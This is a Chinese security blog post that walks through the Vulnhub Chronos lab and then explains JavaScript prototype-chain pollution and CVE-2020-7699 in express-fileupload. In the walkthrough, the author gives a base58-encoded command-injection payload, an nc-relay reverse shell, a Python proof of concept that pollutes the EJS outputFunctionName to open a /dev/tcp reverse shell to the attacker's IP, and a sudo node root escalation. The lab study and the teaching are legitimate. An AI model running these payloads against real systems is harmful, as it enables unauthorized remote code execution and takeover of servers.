freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub打靶 - JavaScript基于原型编程思路与原型链污染原理
2022-11-22 21:07:01
所属地 江西省

本次主要说明 JavaScript 中原型链污染漏洞的原理与利用,但直接介绍该漏洞过于无趣,所以以一个靶机的渗透过程为引,其中便存在着原型链污染的漏洞,之后再详细介绍 JavaScript 中原型链的概念,以及原型链漏洞的原理及利用

基本信息

靶机网址:Chronos: 1

攻击机KALI:10.21.194.254

靶机 :10.21.193.155

难度

Medium

渗透测试及思路

  • 主机发现:netdiscover该工具与之前使用的arp-scan等工具原理一致,都是发送arp广播数据包:netdiscover -r 10.21.0.0/16对于该工具,若实际网络的子网掩码为24位,在使用的时候指定的子网掩码建议在实际的基础上8也就是24 - 8 = 16这样对最终的发现结果更好

    但要注意要为8的倍数

    1668862077_6378d07d659cfed1f61af.png!small?1668862073125

    由于靶机放在了VirtualBox中,而kaliVMware中,故使用桥接,但本身连着学校的wifi,所以二层探测会探测出大量主机,VirtualBox特有的标识PCS Systemtechnik GmbH判断即可

    1668862088_6378d088cfbb615144bb1.png!small?1668862085358

  • 确定靶机IP后,继续利用nmap进行全端口扫描nmap -p- 10.21.193.155

    1668862096_6378d0904b36c1249c5f8.png!small?1668862091969

    经探测发现其开启了22 80 8000三个端口

  • 接下来再探测器端口的服务nmap -p22,80,8000 -sV 10.21.193.155

    1668862103_6378d0973339c3eca52ff.png!small?1668862098837

    经探测发现其开放端口对应的服务分别为:

    • 22-ssh-OpenSSH
    • 80-httpd-Apache httpd 2.4.29
    • 8000-httpd-Node.js Express framework
  • 通过浏览器访问80

    对于 web 网站,若当前页面中感觉没有什么可利用的东西,一般有两种常规思路:

    • 通过dissearch等工具遍历其目录,看看有没有什么隐藏的路径

      1668862107_6378d09b99fefd4411337.png!small?1668862103288

    • 通过CTRL + u查看其网页源码,看看有没有一些隐藏域、隐藏表单、隐藏的接口、加载的脚本等隐藏的页面元素

    在该页面的HTML源码中,看到了一段包含在<script>标签中的脚本,但将这段代码复制到本地进行查看的时候,会发现其中的变量、函数名等都进行了某种编码,导致直接阅读可读性不强,所以一般要对该代码进行一定程度的整理还原

    1668862112_6378d0a0b7e545cc3d97d.png!small?1668862108308

  • JavaScript代码还原

    使用在线工具cyberchef(也可以clone到本地使用)

    cyberchef是一种可以针对计算机各种数据类型来做各种的编码、解码、还原、解密、解压等等操作的工具

    1668862119_6378d0a7c0131baa6ab66.png!small?1668862115284

    首先将刚刚的js代码放入Input窗口,并在左边的选项卡中选择用于优化、美化JavaScript代码的JavaScript Beautiful模块

    美化后,可以看到,虽然对其结构进行了优化,但其变量、函数名等还是经过某种编码编码过的,没法优化

    但是在其中,可以一眼看见一段明文的URL链接

    1668862126_6378d0ae9fc26ddaa2aad.png!small?1668862122337

    可以看出URL的域名部分为chronos.local且 端口为8000,所以有理由怀疑该域名就指向了这台靶机,但直接访问是会被拒绝的:

    1668862132_6378d0b4b5237c5fba1a6.png!small?1668862128298

    所以可以在kali/etc/hosts文件中建立一条域名与IP的映射关系记录,之后记得用PING检查一下

    1668862136_6378d0b8cab6a13733269.png!small?1668862132366

    1668862140_6378d0bc8d4555198e4b5.png!small?1668862136441

  • 刷新当前网站

    建立好映射关系后,刷新当前网站,可以看到当前网站显示出了当前的时间(当前网站通过刚刚的域名对应关系,到8000端口处,获得到了当前的时间,并进行显示)

  • 通过Burp代理观察整个报文的交互过程

    启动浏览器代理,并由Burp进行抓包,刷新该页面,放开截断即可,我们的目的是在HTTP history观察在加载该页面过程中发出了哪些请求以及响应流量

    1668862147_6378d0c3b2efe689b3b55.png!small?1668862143244

    (忽略和google有关的Host

    1668862152_6378d0c8b3eb6d111ae24.png!small?1668862148324

    可以看出网页会通过GET向上面得到的那一串URL发送请求,服务端会回复给前端当前的时间,再由前端进行显示

    也可通过 站点地图 (Site map)查看

    1668862157_6378d0cd7fb7a1a3173ab.png!small?1668862153122

    所以接下来将该URL送到Repeator进行重放尝试

  • Repeator重放尝试

    为什么当前向服务端发送该 URL 样子的请求,服务端就会返回当前时间,修改掉format后的参数,服务端是否还会显示一样的时间呢?

    所以为了验证该想法,更改format后面的一串参数再次发送请求,发现服务器端不再正常响应了,所以该字符串至关重要,此处歪打正着,随便删了点字符串忘了加与HTTP/1.1之间的空格了,结果在报错信息中正好看见了使用的是base58的编码

    1668862162_6378d0d2e9cbb8b33c4fa.png!small?1668862158714

    若正常通过观察,可能会怀疑其是通过base64URL进行的编码,所以尝试解码(最常见)

    可以使用CyberChef中的magic模块进行解码的尝试,当我们不确定目标字符串的编码方式时,可以使用该模块自动帮我们分析当前字符串可能的编码方式:

    1668862168_6378d0d8870cff110dbe9.png!small

    经过magic模块分析,当前字符串可能是通过base58的方式进行的编码,编码前的原始字符串为:'+Today is %A, %B %d, %Y %H:%M:%S.'

    1668862233_6378d1199dbf9df0fa6b4.png!small

    很明显感觉到这个是time的一个系统调用中所采取的格式,并且通过date命令,也可以解析该格式

    1668862245_6378d125ee53f3d646c55.png!small?1668862241507

    所以有理由怀疑此处可能是调用了操作系统的指令(也有可能是在代码中使用了系统函数),若是使用了操作系统的date指令,则是否存在命令注入的可能

  • 尝试命令注入

    此时突然断网了。。。。所以kali机的IP切换为10.21.204.212靶机没变

    可利用 以下连接符号

    • |
    • ||(前命令执行错误才会执行后续命令)
    • ;
    • &&(前命令正确才会执行后续命令)

    && ls进行base58的编码,并放入GET包中继续中发送,果然返回了ls的结果,证明命令注入存在

    于是又想到了反弹shell,先通过&& ls /bin判断目标端bin目录下取确认存在nc指令,由于其版本的不确定,所以可能存在无法使用-e参数的情况,但要先确认nc是否可用

    kalinc -nvlp 4444

    1668862252_6378d12cdcb72cfa823c3.png!small?1668862248564

    并用base58编码&& nc 10.21.204.212:4444尝试是否可以正常连接,发现nc可以建立连接,但再次测试发现其不存在-e参数,所以还要通过nc串联在实现

    && nc 10.21.204.212 4444 | /bin/bash | nc 10.21.204.212 5555

    1668862257_6378d1314b2fc78c96dd7.png!small?1668862252905

    成功

  • 在目标服务器中信息收集

    连接shell后,当前所处的路径应该就是web应用所在的路径,经查看为:/opt/chronos

    cat /etc/passwd发现一个名为imera的可登录用户账号,尝试访问其家目录/home/imera发现其中存在一个user.txt文件,但是并没有其访问权限,只有该文件的所有者imera才可以访问该文件,所以要尝试进行权限提升

    1668862261_6378d1352faa91898d3d4.png!small?1668862256801

    1668862264_6378d1388a3604862eb67.png!small?1668862259946

    首先用id查看当前用户身份及权限

    1668862269_6378d13d1ea3e35937b24.png!small?1668862264575

  • 本地地权

    Linux中常规的提权思路基于以下三种:

    • Linux内核漏洞

      uname -a发现其内核版本为4.15,但并没有找到关于该内核的提权漏洞

      1668862273_6378d141af6963224d768.png!small?1668862269134

    • SUID权限管理不严格

      也没有找到具有s位的可利用文件

    • 利用sudo -l配置漏洞

      很遗憾当前用户没有sudo权限

    至此,当前本地提权这个思路失败,所以要再次进行信息收集

  • 再次信息收集

    渗透测试思路源于大量的信息收集

    再次回到当前用户的家目录,看到其后端的web应用程序是建立在JavaScript之上的(.js文件),与常规认知不同,使用JavaScript可以借助Node.js利用 谷歌开发的v8脚本引擎,非常高效的开发运行服务端web程序

    Node.js最初由个人开发者开发,后期托管于OpenJS Foundation进行维护,使用Node.js开发的web应用程序,一般都是基于一些已有的 框架/库(Node.js提供的模块) 进行的

    常见的库有 :ExpressSocket.ioCors等,其中针对web开发最常用的就是Express.js

  • 审计与当前web程序有关的代码

    一般在使用Node.js开发的应用中,会有一个.json文件(package.json)用于包含当前开发所需要的模块、项目中的配置信息等

    所以先来查看package.json(其中bs58就是用来进行base58的编码与解码的)

    1668862278_6378d1467635881731da9.png!small?1668862273966

    再来看app.js代码

    const express = require('express');
    const { exec } = require("child_process");
    const bs58 = require('bs58'); // bs58 负责进行 base58 的加解码
    const app = express();
    
    const port = 8000;
    
    const cors = require('cors');
    
    app.use(cors());
    
    app.get('/', (req,res) =>{
      
        res.sendFile("/var/www/html/index.html");
    });
    
    app.get('/date', (req, res) => {
    
        var agent = req.headers['user-agent'];
        var cmd = 'date '; // 调用 date 系统指令
        const format = req.query.format;
        const bytes = bs58.decode(format);
        var decoded = bytes.toString();
        var concat = cmd.concat(decoded); // 直接对编码后的数据近些拼接,并没有过滤
        if (agent === 'Chronos')  // 会对收到报文的 user-agent 进行识别
    		{
            if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) 
    				{
    						// 此处虽然对特殊的字符进行了识别,但是并未给出具体有效的过滤措施
    						// 只是报了一个提示,并未阻止其执行
    
                res.send("Something went wrong");
            }
            exec(concat, (error, stdout, stderr) => {
                if (error) 
    						{
                    console.log(`error: ${error.message}`);
                    return;
                }
                if (stderr) 
    						{
                    console.log(`stderr: ${stderr}`);
                    return;
                }
                res.send(stdout);
            });
        }
        else{
    
            res.send("Permission Denied");
        }
    })
    
    app.listen(port,() => {
    
        console.log(`Server running at ${port}`);
    
    })
    

    可以看出其中对从GET包中获取的参数没有进行任何的过滤直接拼接执行,所以才导致了刚刚获取shell的操作

    另外看出会通过请求包头中的User-agent中是否为Chronos来确认其权限,不是Chronos则会提示Permission denied(而最初看到的那一堆js代码就负责从发出的HTTP GET包中将其UA改为Chronos

    但分析下来发现,当前app.js中没有提权的途径,所以还要继续做信息收集

  • 继续信息收集

    /opt目录下,发现了两个版本的chronos应用,除了刚刚看的,还有一个chronos-v2目录

    1668862285_6378d14db4581d584aea5.png!small?1668862281072

    进入该路径后,发现这时另外一个web应用,并看到其中有一个名为backend的后端目录,再往里走,看到了四个文件

    • node_module
    • package.json
    • package-lock.json
    • server.js

    同样先查看package.json看到其中指明了服务端主程序为server.js等信息,还有一个很重要的信息express-fileupload:1.1.7-alpha.3怀疑是文件上传功能

    1668862289_6378d151da41b340f30d3.png!small?1668862285501

    查看server.js

    const express = require('express');
    const fileupload = require("express-fileupload");
    const http = require('http')
    
    const app = express();
    
    app.use(fileupload({ parseNested: true }));
    
    app.set('view engine', 'ejs');
    app.set('views', "/opt/chronos-v2/frontend/pages");
    
    app.get('/', (req, res) => {
       res.render('index')
    });
    
    const server = http.Server(app);
    const addr = "127.0.0.1" // 可以看出该模块要从本地访问,这也就是之前扫描器没有扫到的原因
    const port = 8080;
    server.listen(port, addr, () => {
       console.log('Server listening on ' + addr + ' port ' + port);
    });
    

    但是在该代码中并没有找到明显的问题,所以问题还是回到了最有可能出现问题的上传模块express-fileupload

  • express-fileupload的利用

    该模块要利用必须开启parseNested,从上面的代码中可以看出确实如此parseNested: true

    所以尝试是否存在 JavaScript Prototype污染攻击 ,此处的原理会在另外一篇文章中介绍,此处直接拿来一个用于反弹shellPoc来利用即可:

    Real-world JS - 1

    Poc中的源目IP进行修改,从刚刚阅读server.js该上传模块要访问的是 本地的8080端口,所以记得将post请求的地址和端口也改了

    import requests
    
    cmd = 'bash -c "bash -i &> /dev/tcp/10.21.204.212/7777 0>&1"'
    
    # pollute
    requests.post('<http://127.0.0.1:8080>', files = {'__proto__.outputFunctionName': (
        None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
    
    # execute command
    requests.get('<http://127.0.0.1:8080>')
    

    接下来只需在 kali 机上起一个http.server,再在靶机上通过wget下载该Poc进行执行即可反弹shell

    1668862296_6378d158f0d36775fbf35.png!small

    可以看到,这个就是刚刚的imera用户,顺利从其加目录下的user.txt中拿到第一个flag

    1668862316_6378d16c663a979a6a4da.png!small?1668862311996

    由于最后的flag/root目录下,所以我们最终要想办法访问到/root

  • sudo -lnode配合反弹shell

    通过sudo -l发现node命令可以在无需密码的情况下通过root的权限去跑,所以接下来看看有没有通过node命令反弹shell的方式

    1668862322_6378d172208f50adb75bd.png!small?1668862317646

    node反弹shell

    sudo node -e 'child_process.spawn("/bin/bash",{stdio:[0,1,2]})'

    1668862326_6378d1760d2fdc3295804.png!small?1668862321587

    至此两个shell就都获得了

    当然这里两个flag都是base64编码后的结果,至于其解码后是什么,就由大家探索吧

JavaScript基于原型编程思路与原型链污染

由于我也对JavaScript的底层思想或架构不很熟悉,所以此处仅说明其原理以及含义,至于为什么为什么这样设计,说是这样设计有哪些具体的好处,恕难说明

基于原型的编程

基于原型的编程是一种面向对象的编程风格,其中继承 是通过重用 作为原型的现有对象的过程来执行的

在基于原型的语言中,是没有明确的类的( 虽然ECMAScript 6后提供class关键字,但其更像是一种语法糖,依旧是通过原型实现 )。对象通过原型属性直接从其他对象继承

与传统面向对象语言的区别

C++等传统的面向对象语言不同,对于C++来说,声明一个类后,其中带有默认构造函数用于实例化时初始化这个类,但在基于原型的语言中是没有明确的类的,以JavaScript为例,如果在JavaScript中想要定义一个类,需要以定义 “构造函数” 的方式定义

比如要想定义一个Person类,则js中的定义方式为:

function Person()
{
		this.age = 18
}

此时就相当于通过定义Person类的构造函数Person()的方式定义了这个类,接下来要想实例化这个类则new Person()

但与传统的面向对象编程风格一致,类中不能只有属性(this.age),还应存在 方法( 函数 ),但是由于js中的类是通过构造函数实现的,若是直接将函数定义在构造函数中:

function Person()
{
		this.age = 18

		this.say = function() {
					
					console.log(this.age)	
		}
}

会导致每次实例化该对象时,都会将其中定义的函数执行一次(本例中的say方法)( 类比于将一个函数直接定义在C++中的构造函数中,并实例化该对象)

为了解决这个问题js有了自己的解决思路:prototype

prototype

prototypeJavaScript中用于调用原型属性 (不理解先跳过)

若想创建类的时候创建一次say方法,就需要使用 原型(prototype)( 说白了就类似于C++中类内函数只定义一次,之后需要的时候才会调用执行 )

对于上述例子,若想让Person()这个类,具备say这个方法,又不必每次实例化一个对象都执行该方法,就要这样定义:

function Person()
{
		this.age = 18
}

Person.prototype.say = function say(){
				
			console.log(this.age)	
}

此时便可在实例化对象后通过实例化的对象调用该方法

let Sam = new Person()
Sam.say()

那为什么可以这么定义呢?首先有这样一个前提JavaScript中任意 “类”( 构造函数 )都有一个内置属性这个内置属性就是prototype也叫做 显示原型

该怎么理解?

再以C++为例,再次明确prototype 的出现是为了解决不应将方法定义在构造函数中的这个问题,该怎么解决这个问题呢?

JavaScript用了一个继承的方式解决了这个问题,这里又有一个前提,就像Linux中所有进程都是由Init这个父进程来的一样,JavaScript中也存在一个最终原型Object.prototypeObject.prototype的原型就是null了)

起始Person类(函数)是继承于Person.prototype的,而这个Person.prototype以当前函数作为构造函数构造出来的对象的原型对象,可以自己指定,若没有指定那么他就是空的Object.prototype

prototype是一个指针,指向一个对象,这个对象的用途就是包含所有实例共享的属性和方法(我们把这个对象叫做原型对象)。原型对象也有一个属性,叫做constructor,这个属性包含了一个指针,指回原构造函数

但注意,上面说的prototype是函数的属性,并不是实例化对象的属性,比如let Sam = new Person()Sam这个实例化对象中是没有prototype属性的

但是实例化对象也有访问该原型对象的需求,为了这个需求又引入了__proto__

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法

proto

既然前面有显示原型,那么就一定存在相反的 隐式原型

所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型)

Person类实例化出来的Sam对象,可以通过__proto__属性来访问Person类的原型对象,也就是说:

Sam.__proto__ === Person.prototypetrue

一个对象的__proto__属性,指向这个对象所属的类的prototype属性

总结

每个构造函数都有一个原型对象,原型对象都包含一个指向构造函数的指针,而实例都包含一个指向原型对象的内部指针。那么假如我们让原型对象等于另一个类型的实例,结果会怎样?显然,此时的原型对象将包含一个指向另一个原型的指针,相应地,另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立。如此层层递进,就构成了实例与原型的链条。这就是所谓的原型链的基本概念。—— 摘自《javascript高级程序设计

听起来似懂非懂?继续往下看

JavaScript 原型链继承

正如刚刚所说,由于所有的类对象在实例化的时候都会拥有prototype中的属性和方法,并可以通过__proto__访问其中的属性和方法,这也正式JavaScript用来实现继承的机制

刚刚在介绍prototype时,其继承的是Object( 原型链的尽头Object.prototype) ,但这个继承是可以指定的

function Animal() {

		this.eat = 'meat'
		this.age = 100
} 

function Person() {

		this.age = 18
}

Person.prototype = new Animal()

let Sam = new Person()

console.log('${Sam.eat} ${Sam.age}')

此时Personprototype是指向Animal类实例化出的对象,也就是说Animal这个类实例化出的对象是以 Person() 作为构造函数实例化对象的原型对象,所以最终输出的为 :meat 18

具体来说,在输出${Sam.eat}时:

  • 首先会在由Person实例化出的对象Sam中寻找eat属性
  • 找不到的话,就会到Sam.__proto__中寻找该属性,因为Person类的prototype指向的是Animal,所以就会到Animal类的原型中寻找该值
  • 若再找不到,则继续向上寻找至Sam.__proto__.__proto__
  • 直到遍历到 原型链的顶端,也就是null

那么此时对这个图,应该就比较好理解了:

1668862335_6378d17f35cd79ac6711b.png!small?1668862330843

原型链污染

起始所谓的原型链污染,起始最主要的问题就处在原型链顶端的下一个类,也就是Object类,若该类中的某些属性被改、或被赋予了新的属性,那么新创建的类将会继承自该类,也就会拿到新增加的值

引用 p神 的一个例子

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

此时zoo.bar = 2

应用

以打靶过程中存在的原型链污染漏洞为例:

其中最关键的一步:反弹imear用户的shell,原型链污染便是最重要的环节之一

该靶场中存在原型链污染的代码为

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1" // 可以看出该模块要从本地访问,这也就是之前扫描器没有扫到的原因
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

漏洞简介

该漏洞编号为:CVE-2020-7699NodeJS模块代码注入

引发该漏洞的为Nodejs中的express-fileupload模块,该模块在1.1.8版本之前存在原型链污染漏洞,后发现后被快速修复,但是此处想要引发该漏洞需要一定的基础条件:

引发该漏洞的基础条件:parseNested: true

通过该漏洞触发远程REC所需进一步的条件:'view engine', 'ejs'使用模板引擎 EJS(嵌入式JavaScript模板)。

好巧不巧,上述靶机的代码中两个条件全满足了(若不想了解接下来的原理,可以到刚刚提到的文章中直接获取RCEPoc即可)

漏洞原理及利用

该漏洞中触发原型链污染的位置就在parseNested模块中的porcessNested方法下 ,该方法会将上传的JSON数据展开为 嵌套对象

例如用一个最常举的例子:

传入数据:{"a.b.c" : true}

内部展开数据:{"a" : {"b" : {"c" : true}}}

这样看并没有什么问题,但如果结合之前原型链的知识,稍作改动

传入数据:{"__proto__.polluted" : true}

内部展开的数据:{"__proto__" : {"polluted" : true}}(调用processNested后)

此时就会为当前函数的prototype对象添加一个polluted属性,接下来所有继承自该prototype的方法都将被添加该属性,如果恰巧是Object,那么所有当前默认继承的函数都会被添加上该属性,而且既然能添加,也就一样存在着修改的可能

let some_obj = JSON.parse(`{"__proto__.polluted": true}`);
processNested(some_obj);

console.log(polluted); // true!

要注意,这个被改变/新增属性的过程,是在porcessNested函数中处理过程中被赋值的

porcessNested函数原型

function processNested(data){
    if (!data || data.length < 1) return {};

    let d = {},
        keys = Object.keys(data);

    for (let i = 0; i < keys.length; i++) {
        let key = keys[i],
            value = data[key],
            current = d,
            keyParts = key
        .replace(new RegExp(/\\[/g), '.')
        .replace(new RegExp(/\\]/g), '')
        .split('.');

        for (let index = 0; index < keyParts.length; index++){
            let k = keyParts[index];
            if (index >= keyParts.length - 1){
                current[k] = value;
            } else {
                if (!current[k]) current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
                current = current[k]; // 关注此处
            }
        }
    }

    return d;
};

那么改入传递构造好的原型链呢?

busboy.on('finish', () => {
    debugLog(options, `Busboy finished parsing request.`);
    if (options.parseNested) {
        req.body = processNested(req.body);
        req.files = processNested(req.files);
    }

    if (!req[waitFlushProperty]) return next();
    Promise.all(req[waitFlushProperty])
        .then(() => {
        delete req[waitFlushProperty];
        next();
    }).catch(err => {
        delete req[waitFlushProperty];
        debugLog(options, `Error while waiting files flush: ${err}`);
        next(err);
    });
});

可以看到

req.body = processNested(req.body);
req.files = processNested(req.files);

这两处调用了存在漏洞的processNested函数,其传入的参数分别为:

  • req.bodynodejs解析的post请求体
  • req.files上传文件的信息

此处利用req.files进行传参,只需要将函数的名称构造为一个原型链即可,这里清楚受害者toString函数,该方法属于Object对象,由于所有的对象都继承了Object的对象实例,因此所有的实例对象都可以使用该方法,同样若该方法被改为一个不是函数的其他对象,那么所有调用该方法的位置都会出错

此时很简单,只需将uploadname改为__proto__.toString即可,之后由于processNested的解析,会将 将其赋值为一个不是函数的对象,所以所有访使用该函数的位置都会报错

此时传递的JSON包的格式为:

1668862346_6378d18a93434b44196c2.png!small?1668862342593

(截图来自 https://blog.p6.is/Real-World-JS-1/#express-fileupload

所以解析完就会变为

{}[__proto__][toString] = { ...... }

此时toString将不再是一个函数

参考文章

NodeJS module downloaded 7M times lets hackers inject code

Real-world JS - 1

深入理解 JavaScript Prototype 污染攻击

浅析javascript原型链污染攻击

CVE-2020-7699漏洞分析

js中__proto__和prototype的区别和关系?

详解prototype与__proto__

# 渗透测试 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录